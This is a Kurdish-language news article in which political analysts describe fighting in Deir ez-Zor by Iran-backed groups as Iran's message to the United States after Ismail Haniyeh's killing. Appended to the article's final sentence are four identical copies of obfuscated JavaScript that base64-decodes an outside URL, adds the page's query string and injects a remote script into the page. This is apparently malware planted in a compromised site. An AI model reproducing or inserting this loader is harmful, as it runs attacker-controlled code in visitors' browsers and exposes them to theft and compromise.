ئالۆزیێن ل دێرازۆرێ پەیاما راستەوخوە یا ئیرانێ یە بۆ ئەمریکا
ب، سه‌رجان مەحمود:
چاڤدێرێن سیاسی دیار دکەن ئالۆزیێن نها ل دێرازۆرێ پەیاما راستەوخوە یا ئیرانێ یە بۆ ئەمریکا کو هەکە ئەمریکا بڤێت ئاریشان بۆ ئیرانێ دروست بکەت ئیران ژی دشێت مەترسیێن مەزن بۆ بەرژەوەندیێن وێ ل سووریێ و دەڤەرێن دی یێن رۆژهەلاتا ناڤین دروست بکەت.
فەهیم تاشتەکین بسپۆرێ کاروبارێن رۆژهەلاتا ناڤین راگەهاند، نها ل دێرازۆرێ شەڕەک دژوار هەیە، گرۆپێن سەر ب ئیرانێ ل هندەک دەڤەرێن دێرازۆرێ ئێرشێ هێزێن سووریا دیموکرات دکەن کو وەکو هەڤپەیمانا ئەمریکا ل سووریێ دهێتە نیاسین، بێگومان ئەڤ ئێرشە د دەمەکێ دانە کو پشتی کوشتنا ئیسماعیل هەنییە ئیرانێ سۆز دایە دێ دربێن مەزن ل ئسرائیلێ دەت و هەتا نها ب کریارێن ئیرانێ ل دژی ئسرائیلێ چو نەکریە، لێ پشتی کو ئەمریکا ژی راگەهاند هەکە ئیران ئێرشی ئسرائیلێ بکەت ئەو دێ ب هەموو شیانێن خوە ئسرائیلێ پارێزن رەوشەکا نوو هاتیە پێش و نها ئیرانێ دڤێت ئالۆزیان بۆ ئەمریکا ژی دروست بکەت.
هەمان بسپۆری ئەو یەک ژی دیار کریە، سووریێ بۆ ئەمریکا جهەک گەلەک گرنگە، ئیر ژی دڤێت ب رێیا گرۆپێن چەکدار ئالۆزیان بۆ ئەمریکا دروست بکەت، نها شەرەک مەزن ل دێرازۆرێ هەیە و دبیت شەڕێ نها ل دێرازۆرێ ل هندەک دەڤەرێن دی یێن سووریێ ژی بەلاڤ ببیت ب تایبەتی ژی ئەو جهێن کو هێزین ئەمریکا لێ بجه بووینە.
بسپۆرێن رۆژئاڤایی ژی وەسا دبینن هەکە شەڕەک نوو ل رۆژهەلاتا ناڤین دەستپێ نەکەت ژی دێ ئالۆزیێن هەی بەردەوام بن، چونکی کوشتنا ئیسماعیل هەنییە ل تەهرانێ پەیامەکا گەلەک ئاشکرا و مەترسیدار یا ئسرائیلێ یە بۆ ئیرانێ و بەرپرسێن ئیرانێ ژی باش دزانن هەکە بەرسڤا ئسرائیلێ نەدەن دێ ئەو یەک بۆ وان گەلەک ب خرابی ڤەگەریت، لێ ژ بەر پشتەڤانیا ئەمریکا و هەڤپەیمانێن وێ یا بۆ ئسرائیلێ نها هەڤسەنگیێن سیاسی ل رۆژهەلاتا ناڤین ب رەنگەکێ دی هاتینە گوهۆڕین و ئیران ژی ژ بەر ڤێ یەکێ دڤێت هەبوونا خوە بسەلمینیت و ئالۆزیێن نها ل دێرازۆرێ ژی بێگومان ب فەرمانا راستەوخوە یا تەهرانێ هاتنە کرن و ئەو یەک پەیامەکا گەلەک ئاشکرا یا تەهرانێ یە بۆ ئەمریکا کو هەکە هوون پشتەڤانیا ئسرائیلێ بکەن ئەم ژی دشێین ئالۆزیێن نوو بۆ هەوە دروست بکەین.
ل گۆر باوەریا چاڤدێرێن سیاسی ئیرانێ پشتا خوە ب پشتەڤانیا رۆسیا گەرم کربوو لێ ژ بەر کو نها رۆسیا د شەڕەکێ مەزن دایە رەنگە رۆسیا نەشێت هەموو داخوازیێن ئیرانێ بجه بینیت، ژ بەر ڤێ یەکێ ژی ئیران دێ پتر ب رێی گرۆێ چەکدارێن گرێدایی خوە ل لوبنانێ، سووریێ و ئیراقێ ئالۆزیان بۆ ئەمریکا دروست کەت دا ئەمریکا ژی نەچار بیت هندەک ژ داخوازیێن ئیرانێ قەبوول بکەت یان ژی ئسرائیلێ نەچار بیت دەست ژ هندەک بزاڤێن خوە بەردەت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
